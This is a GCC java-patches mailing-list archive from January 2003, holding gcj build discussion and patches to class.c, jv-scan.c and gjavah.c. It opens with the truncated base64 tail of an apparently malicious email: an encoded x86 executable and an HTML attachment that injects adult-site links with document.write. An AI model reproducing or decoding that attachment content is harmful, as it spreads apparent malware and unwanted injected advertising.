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 JATGRCQ4Aug6BAIAjUwkIMZEJDgB6PwzAACNTC=9 --J7x02d6U32917A6V8406 --J7x02d6U32917A6V8406 Content-Type: application/octet-stream; name=random[1].htm Content-Transfer-Encoding: base64 Content-ID: ZG9jdW1lbnQud3JpdGUoJzxBIEhSRUYgPSAiaHR0cDovL2RlbW8ub3Jnc2V4LmNvbS9pbmRl eC5waHAzP2RpcmVjdG8iIHRhcmdldD0iX2JsYW5rIj5cCgkJCTxpbWcgc3JjPSJodHRwOi8v d3d3Lnhwb25zb3IuY29tL29yZ3NleC92aWduZXR0ZXMvaW1ncy8yLmdpZiIgYm9yZGVyPTA+ XAoJCQk8L0E+Jyk7 --J7x02d6U32917A6V8406-- From java-patches-return-5767-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Jan 05 12:27:26 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 12886 invoked by alias); 5 Jan 2003 12:27:25 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 12877 invoked from network); 5 Jan 2003 12:27:23 -0000 Received: from unknown (HELO amsfep13-int.chello.nl) (213.46.243.24) by 209.249.29.67 with SMTP; 5 Jan 2003 12:27:23 -0000 Received: from node-c-6778.a2000.nl ([62.194.103.120]) by amsfep13-int.chello.nl (InterMail vM.5.01.05.17 201-253-122-126-117-20021021) with ESMTP id <20030105122711.ZPFR13007.amsfep13-int.chello.nl@node-c-6778.a2000.nl>; Sun, 5 Jan 2003 13:27:11 +0100 Subject: Re: Compilation Problems with libjava From: Dhek Bhun Kho To: Andrew Haley Cc: Java Patch List In-Reply-To: <15896.6002.399165.486210@cuddles.cambridge.redhat.com> References: <20030104151440.81784.qmail@web13502.mail.yahoo.com> <15894.64709.749260.163850@cuddles.cambridge.redhat.com> <1041701384.22876.20.camel@tasslehof.bhun.net> <15896.6002.399165.486210@cuddles.cambridge.redhat.com> Content-Type: text/plain Content-Transfer-Encoding: 7bit Date: 05 Jan 2003 13:27:10 +0100 Message-Id: <1041769631.22871.128.camel@tasslehof.bhun.net> Mime-Version: 1.0 Hello Andrew, > > I was going to try and hack the makefiles to just compile the > > things that are tightly integrated into GCJ into the libgcj.so > I don't understand this. Well I have been spending quite some time primarily on getting existing code compiled and trying to find out what's peculiar to GCJ. Like a few weeks ago I reported that it was really a nuisance for the org.*.* classes to be present. It was on part caused by my ignorance. 'cause I did get to compile a Ant binary with classes from xerces and xalan linked in. Summarized: It's impossible to replace faulty classes when everything is compiled into one huge shared object. Note: I was wondering whether using the naming scheme as specified in the gcj manual would help out on this. This does create extra work when linking because you have to specify each and every dso like -l-java-lang -l-java-util .. you get the point. Questions: 1. But doesn't this make it easier to replace faulty libraries? Correct me if I am mistaken. Like when a StringTokenizer is broken, replace the object in the static library with ar, then regenerate the shared libraries. 2. Would -fPIC prevent the need to relink every application linked against the older versions? Reason: The first time I generated a dso named lib-org-w3c-dom with every subpackge contained in it. This caused the duplicate key problem. I wanted to do this at first because I didn't want to generate like 20+ dso's for just one source package. Second time around I generated each dso named after the package so I got the 20+ dso's and just linked in the missing classes by specifying the dso's that contained the classes under the org.w3c.dom.xx.xx namespace. So it wasn't really necessary to splitt off the org-w3c-dom. (Shoot me) Haven't had the opportunity yet to test the xml tasks. Furthermore I have been looking into some other (gpl/apache) source packages like JBoss and noticed that they _hardcode_ some references to their own implementations into some javax.* classes. It's all a bit too early for this I guess, but it can't do no harm to look at what's lying ahead. I noted the part about cni because some classes from gcj are implemented using c++ (nio I believe amongst others). I really can't help asking all the sily questions, but it's not easy to figure from sources on the net. It's still quite a bit experimental for me. From java-patches-return-5768-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Jan 05 16:26:47 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 30808 invoked by alias); 5 Jan 2003 16:26:44 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 30790 invoked from network); 5 Jan 2003 16:26:43 -0000 Received: from unknown (HELO ops2.one-point.com) (216.234.116.146) by 209.249.29.67 with SMTP; 5 Jan 2003 16:26:43 -0000 Received: from localhost (jsturm@localhost) by ops2.one-point.com (8.11.6/8.11.6) with ESMTP id h05GQUC01588; Sun, 5 Jan 2003 11:26:30 -0500 Date: Sun, 5 Jan 2003 11:26:30 -0500 (EST) From: Jeff Sturm To: Andreas Tobler cc: gcc-patches@gcc.gnu.org, Subject: Re: [libffi] closures for sparc In-Reply-To: <3E16BD22.4090905@pop.agri.ch> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Sat, 4 Jan 2003, Andreas Tobler wrote: > Hm, powerpc-unknown-linux-gnu doesn't like the static: > .libs/ffitest.o: could not read symbols: Bad value Strange. Surely this isn't a problem in libffi though? Can you try a newer ld and see if it fixes the problem? If not, let me know and I'll attempt a cross build (I don't have a powerpc-linux machine handy). Jeff From java-patches-return-5769-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Jan 05 16:30:03 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 31524 invoked by alias); 5 Jan 2003 16:30:03 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 31496 invoked from network); 5 Jan 2003 16:30:01 -0000 Received: from unknown (HELO mail02.agrinet.ch) (212.28.134.115) by 209.249.29.67 with SMTP; 5 Jan 2003 16:30:01 -0000 Received: from pop.agri.ch (217.162.33.222) by mail02.agrinet.ch (NPlex 5.5.060) (authenticated as toa@pop.agri.ch) id 3DEE86F7000F48AA; Sun, 5 Jan 2003 17:29:47 +0100 Message-ID: <3E185D7A.40705@pop.agri.ch> Date: Sun, 05 Jan 2003 17:29:46 +0100 From: Andreas Tobler User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US; rv:1.3a) Gecko/20021212 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Jeff Sturm CC: gcc-patches@gcc.gnu.org, java-patches@gcc.gnu.org Subject: Re: [libffi] closures for sparc References: In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Jeff Sturm wrote: > On Sat, 4 Jan 2003, Andreas Tobler wrote: > >>Hm, powerpc-unknown-linux-gnu doesn't like the static: > > >>.libs/ffitest.o: could not read symbols: Bad value > > > Strange. Surely this isn't a problem in libffi though? I set the var back and built the whole gcc (c,c++,java) a few minutes ago. Didn't see any further complaints. > > Can you try a newer ld and see if it fixes the problem? If not, let me > know and I'll attempt a cross build (I don't have a powerpc-linux machine > handy). I tried with this ld : GNU ld version 2.13.90.0.16 20021126 The latest binutils I could find. I'm ready to test. Thx, Andreas From java-patches-return-5770-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Jan 07 00:08:14 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 1277 invoked by alias); 7 Jan 2003 00:08:13 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 1259 invoked from network); 7 Jan 2003 00:08:12 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 209.249.29.67 with SMTP; 7 Jan 2003 00:08:12 -0000 Received: from fleche.redhat.com (tq0106.peakpeak.com [207.174.177.106]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id RAA31269; Mon, 6 Jan 2003 17:07:58 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 53F1B4F8099; Mon, 6 Jan 2003 17:11:35 -0700 (MST) To: Gcc Patch List Cc: Java Patch List Subject: Patch: avoid crash with gcj -fno-assume-compiled From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: I HAVE a towel. Date: 06 Jan 2003 17:11:34 -0700 Message-ID: <87lm1xddjd.fsf@fleche.redhat.com> Lines: 56 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Today I tried -fno-assume-compiled, and got a crash: fleche. gcj --syntax-only -fno-assume-compiled=org.apache.foo foo.java jc1: internal compiler error: Segmentation fault The appended patch fixes this crash, and makes the logic in add_assume_compiled correct (this function was checking `ident' instead of `parent->ident'). Ok for trunk? (Not the 3.3 branch since Jeff's assume-compiled patches aren't there. If/when those are moved over, this can move at the same time.) Tom Index: ChangeLog from Tom Tromey * class.c (add_assume_compiled): Don't adjust parent if we're already at the root of tree. Index: class.c =================================================================== RCS file: /cvs/gcc/gcc/gcc/java/class.c,v retrieving revision 1.142 diff -u -r1.142 class.c --- class.c 1 Jan 2003 15:10:00 -0000 1.142 +++ class.c 6 Jan 2003 23:44:05 -0000 @@ -150,6 +150,7 @@ const char *ident; int excludep; { + int len; assume_compiled_node *parent; assume_compiled_node *node = xmalloc (sizeof (assume_compiled_node)); @@ -183,7 +184,8 @@ class or a package name. Adjust PARENT accordingly. */ parent = find_assume_compiled_node (assume_compiled_tree, ident); - if (ident[strlen (parent->ident)] != '.') + len = strlen (parent->ident); + if (parent->ident[len] && parent->ident[len] != '.') parent = parent->parent; /* Insert NODE into the tree. */ @@ -194,7 +196,7 @@ } /* Returns nonzero if IDENT is the name of a class that the compiler - should assume has been compiled to FIXME */ + should assume has been compiled to object code. */ static int assume_compiled (ident) From java-patches-return-5771-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Jan 07 10:35:53 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 20290 invoked by alias); 7 Jan 2003 10:35:51 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 20070 invoked from network); 7 Jan 2003 10:34:32 -0000 Received: from unknown (HELO executor.cambridge.redhat.com) (195.224.55.237) by 209.249.29.67 with SMTP; 7 Jan 2003 10:34:32 -0000 Received: from cuddles.cambridge.redhat.com (vpn50-18.rdu.redhat.com [172.16.50.18]) by executor.cambridge.redhat.com (Postfix) with ESMTP id 06576ABAF8; Tue, 7 Jan 2003 10:34:19 +0000 (GMT) Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.6/8.11.0) id h07AYjG04675; Tue, 7 Jan 2003 10:34:45 GMT From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15898.44357.760630.936775@cuddles.cambridge.redhat.com> Date: Tue, 7 Jan 2003 10:34:45 +0000 (GMT) To: tromey@redhat.com Cc: Gcc Patch List , Java Patch List Subject: Patch: avoid crash with gcj -fno-assume-compiled In-Reply-To: <87lm1xddjd.fsf@fleche.redhat.com> References: <87lm1xddjd.fsf@fleche.redhat.com> Tom Tromey writes: > Index: ChangeLog > from Tom Tromey > > * class.c (add_assume_compiled): Don't adjust parent if we're > already at the root of tree. OK. Last time I looked there were other bugs in that code too. Andrew. From java-patches-return-5772-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Jan 07 17:31:21 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 31561 invoked by alias); 7 Jan 2003 17:31:19 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 31532 invoked from network); 7 Jan 2003 17:31:18 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 209.249.29.67 with SMTP; 7 Jan 2003 17:31:18 -0000 Received: from fleche.redhat.com (tq0213.peakpeak.com [207.174.177.213]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id KAA30102; Tue, 7 Jan 2003 10:31:04 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 54A084F8099; Tue, 7 Jan 2003 10:34:51 -0700 (MST) To: Andrew Haley Cc: Gcc Patch List , Java Patch List Subject: Re: Patch: avoid crash with gcj -fno-assume-compiled References: <87lm1xddjd.fsf@fleche.redhat.com> <15898.44357.760630.936775@cuddles.cambridge.redhat.com> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: I'm wearing PAMPERS!! Date: 07 Jan 2003 10:34:51 -0700 In-Reply-To: <15898.44357.760630.936775@cuddles.cambridge.redhat.com> Message-ID: <87isx0c18k.fsf@fleche.redhat.com> Lines: 40 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Andrew" == Andrew Haley writes: Andrew> OK. Last time I looked there were other bugs in that code Andrew> too. Indeed. The appended fixes a crash that occurs if you try to have a compiled subclass of an interpreted superclass. I don't understand why this code is checking assume_compiled(...type_decl). Perhaps that is simply an oversight and the `super' check should replace it (instead of being added on)? Ok for trunk? This helps when trying to compile Eclipse... Tom Index: ChangeLog from Tom Tromey * class.c (make_class_data): Check that super is compiled before building class reference to it. Index: class.c =================================================================== RCS file: /cvs/gcc/gcc/gcc/java/class.c,v retrieving revision 1.143 diff -u -r1.143 class.c --- class.c 7 Jan 2003 17:20:50 -0000 1.143 +++ class.c 7 Jan 2003 17:22:42 -0000 @@ -1556,7 +1556,8 @@ super = CLASSTYPE_SUPER (type); if (super == NULL_TREE) super = null_pointer_node; - else if (assume_compiled (IDENTIFIER_POINTER (DECL_NAME (type_decl)))) + else if (assume_compiled (IDENTIFIER_POINTER (DECL_NAME (type_decl))) + && assume_compiled (IDENTIFIER_POINTER (DECL_NAME (TYPE_NAME (super))))) super = build_class_ref (super); else { From java-patches-return-5773-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Jan 09 23:20:13 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 9319 invoked by alias); 9 Jan 2003 23:20:11 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 9244 invoked from network); 9 Jan 2003 23:20:09 -0000 Received: from unknown (HELO caip.rutgers.edu) (128.6.236.10) by 209.249.29.67 with SMTP; 9 Jan 2003 23:20:09 -0000 Received: (from ghazi@localhost) by caip.rutgers.edu (8.9.3/8.9.3) id SAA15278; Thu, 9 Jan 2003 18:19:57 -0500 (EST) Date: Thu, 9 Jan 2003 18:19:57 -0500 (EST) From: "Kaveh R. Ghazi" Message-Id: <200301092319.SAA15278@caip.rutgers.edu> To: gcc-patches@gcc.gnu.org, java-patches@gcc.gnu.org Subject: Patch installed to remove variadic K&R macros from java dir Pre-approved in private email by Andrew Haley Tested on sparc-sun-solaris2.7. 2003-01-09 Kaveh R. Ghazi * jv-scan.c, parse.y: Remove VPARAMS, VA_OPEN, VA_FIXEDARG and VA_CLOSE. diff -rup orig/egcc-CVS20030109/gcc/java/jv-scan.c egcc-CVS20030109/gcc/java/jv-scan.c --- orig/egcc-CVS20030109/gcc/java/jv-scan.c Wed Jan 1 16:00:36 2003 +++ egcc-CVS20030109/gcc/java/jv-scan.c Thu Jan 9 13:06:26 2003 @@ -242,28 +242,26 @@ DEFUN (main, (argc, argv), functions */ void -fatal_error VPARAMS ((const char *s, ...)) +fatal_error (const char *s, ...) { - VA_OPEN (ap, s); - VA_FIXEDARG (ap, const char *, s); - + va_list ap; + va_start (ap, s); fprintf (stderr, "%s: error: ", exec_name); vfprintf (stderr, s, ap); fputc ('\n', stderr); - VA_CLOSE (ap); + va_end (ap); exit (1); } void -warning VPARAMS ((const char *s, ...)) +warning (const char *s, ...) { - VA_OPEN (ap, s); - VA_FIXEDARG (ap, const char *, s); - + va_list ap; + va_start (ap, s); fprintf (stderr, "%s: warning: ", exec_name); vfprintf (stderr, s, ap); fputc ('\n', stderr); - VA_CLOSE (ap); + va_end (ap); } void diff -rup orig/egcc-CVS20030109/gcc/java/parse.y egcc-CVS20030109/gcc/java/parse.y --- orig/egcc-CVS20030109/gcc/java/parse.y Wed Jan 1 16:00:38 2003 +++ egcc-CVS20030109/gcc/java/parse.y Thu Jan 9 13:07:58 2003 @@ -3107,28 +3107,26 @@ issue_warning_error_from_context (cl, ms /* Issue an error message at a current source line CL */ void -parse_error_context VPARAMS ((tree cl, const char *msg, ...)) +parse_error_context (tree cl, const char *msg, ...) { - VA_OPEN (ap, msg); - VA_FIXEDARG (ap, tree, cl); - VA_FIXEDARG (ap, const char *, msg); + va_list ap; + va_start (ap, msg); issue_warning_error_from_context (cl, msg, ap); - VA_CLOSE (ap); + va_end (ap); } /* Issue a warning at a current source line CL */ static void -parse_warning_context VPARAMS ((tree cl, const char *msg, ...)) +parse_warning_context (tree cl, const char *msg, ...) { - VA_OPEN (ap, msg); - VA_FIXEDARG (ap, tree, cl); - VA_FIXEDARG (ap, const char *, msg); + va_list ap; + va_start (ap, msg); force_error = do_warning = 1; issue_warning_error_from_context (cl, msg, ap); do_warning = force_error = 0; - VA_CLOSE (ap); + va_end (ap); } static tree From java-patches-return-5774-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Jan 09 23:21:07 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 10260 invoked by alias); 9 Jan 2003 23:21:06 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 10246 invoked from network); 9 Jan 2003 23:21:05 -0000 Received: from unknown (HELO caip.rutgers.edu) (128.6.236.10) by 209.249.29.67 with SMTP; 9 Jan 2003 23:21:05 -0000 Received: (from ghazi@localhost) by caip.rutgers.edu (8.9.3/8.9.3) id SAA15597; Thu, 9 Jan 2003 18:20:53 -0500 (EST) Date: Thu, 9 Jan 2003 18:20:53 -0500 (EST) From: "Kaveh R. Ghazi" Message-Id: <200301092320.SAA15597@caip.rutgers.edu> To: gcc-patches@gcc.gnu.org, java-patches@gcc.gnu.org Subject: Patch installed to remove K&R DEFUN macro (et al) from java dir Pre-approved in private email by Andrew Haley Tested on sparc-sun-solaris2.7. 2003-01-09 Kaveh R. Ghazi * expr.c, gjavah.c, javaop.h, jcf-dump.c, jcf-io.c, jcf-reader.c, jcf-write.c, jcf.h, jv-scan.c: Don't rely on the `DEFUN', `AND' or `__STDC__' macros. diff -rup orig/egcc-CVS20030109/gcc/java/expr.c egcc-CVS20030109/gcc/java/expr.c --- orig/egcc-CVS20030109/gcc/java/expr.c Fri Jan 3 22:22:15 2003 +++ egcc-CVS20030109/gcc/java/expr.c Thu Jan 9 13:44:53 2003 @@ -2678,7 +2678,6 @@ note_instructions (jcf, method) jint INT_temp; #undef RET /* Defined by config/i386/i386.h */ -#undef AND /* Causes problems with opcodes for iand and land. */ #undef PTR #define BCODE byte_ops #define BYTE_type_node byte_type_node diff -rup orig/egcc-CVS20030109/gcc/java/gjavah.c egcc-CVS20030109/gcc/java/gjavah.c --- orig/egcc-CVS20030109/gcc/java/gjavah.c Wed Jan 1 16:00:35 2003 +++ egcc-CVS20030109/gcc/java/gjavah.c Thu Jan 9 13:22:17 2003 @@ -313,8 +313,7 @@ jni_print_char (stream, ch) string, an error results. */ static void -DEFUN(print_name, (stream, jcf, name_index), - FILE* stream AND JCF* jcf AND int name_index) +print_name (FILE* stream, JCF* jcf, int name_index) { if (JPOOL_TAG (jcf, name_index) != CONSTANT_Utf8) { @@ -688,9 +687,8 @@ print_field_name (stream, jcf, name_inde } static void -DEFUN(print_field_info, (stream, jcf, name_index, sig_index, flags), - FILE *stream AND JCF* jcf - AND int name_index AND int sig_index AND JCF_u2 flags) +print_field_info (FILE *stream, JCF* jcf, int name_index, int sig_index, + JCF_u2 flags) { char *override = NULL; @@ -797,9 +795,8 @@ DEFUN(print_field_info, (stream, jcf, na static void -DEFUN(print_method_info, (stream, jcf, name_index, sig_index, flags), - FILE *stream AND JCF* jcf - AND int name_index AND int sig_index AND JCF_u2 flags) +print_method_info (FILE *stream, JCF* jcf, int name_index, int sig_index, + JCF_u2 flags) { const unsigned char *str; int length, is_init = 0; @@ -1378,11 +1375,8 @@ decode_signature_piece (stream, signatur } static void -DEFUN(print_c_decl, (stream, jcf, name_index, signature_index, is_init, - name_override, flags), - FILE* stream AND JCF* jcf - AND int name_index AND int signature_index - AND int is_init AND const char *name_override AND int flags) +print_c_decl (FILE* stream, JCF* jcf, int name_index, int signature_index, + int is_init, const char *name_override, int flags) { if (JPOOL_TAG (jcf, signature_index) != CONSTANT_Utf8) { @@ -1436,11 +1430,9 @@ DEFUN(print_c_decl, (stream, jcf, name_i /* Print the unqualified method name followed by the signature. */ static void -DEFUN(print_full_cxx_name, (stream, jcf, name_index, signature_index, - is_init, name_override, flags), - FILE* stream AND JCF* jcf - AND int name_index AND int signature_index AND int is_init - AND const char *name_override AND int flags) +print_full_cxx_name (FILE* stream, JCF* jcf, int name_index, + int signature_index, int is_init, + const char *name_override, int flags) { int length = JPOOL_UTF_LENGTH (jcf, signature_index); const unsigned char *str0 = JPOOL_UTF_DATA (jcf, signature_index); @@ -1529,11 +1521,9 @@ DEFUN(print_full_cxx_name, (stream, jcf, /* This is a helper for print_stub_or_jni. */ static void -DEFUN (print_name_for_stub_or_jni, (stream, jcf, name_index, signature_index, - is_init, name_override, flags), - FILE *stream AND JCF *jcf - AND int name_index AND int signature_index - AND int is_init AND const char *name_override AND int flags) +print_name_for_stub_or_jni (FILE *stream, JCF *jcf, int name_index, + int signature_index, int is_init, + const char *name_override, int flags) { const char *const prefix = flag_jni ? "Java_" : ""; print_cxx_classname (stream, prefix, jcf, jcf->this_class, 1); @@ -1544,11 +1534,9 @@ DEFUN (print_name_for_stub_or_jni, (stre } static void -DEFUN(print_stub_or_jni, (stream, jcf, name_index, signature_index, is_init, - name_override, flags), - FILE* stream AND JCF* jcf - AND int name_index AND int signature_index - AND int is_init AND const char *name_override AND int flags) +print_stub_or_jni (FILE* stream, JCF* jcf, int name_index, + int signature_index, int is_init, + const char *name_override, int flags) { if (JPOOL_TAG (jcf, signature_index) != CONSTANT_Utf8) { @@ -1629,8 +1617,7 @@ DEFUN(print_stub_or_jni, (stream, jcf, n } static void -DEFUN(print_mangled_classname, (stream, jcf, prefix, index), - FILE *stream AND JCF *jcf AND const char *prefix AND int index) +print_mangled_classname (FILE *stream, JCF *jcf, const 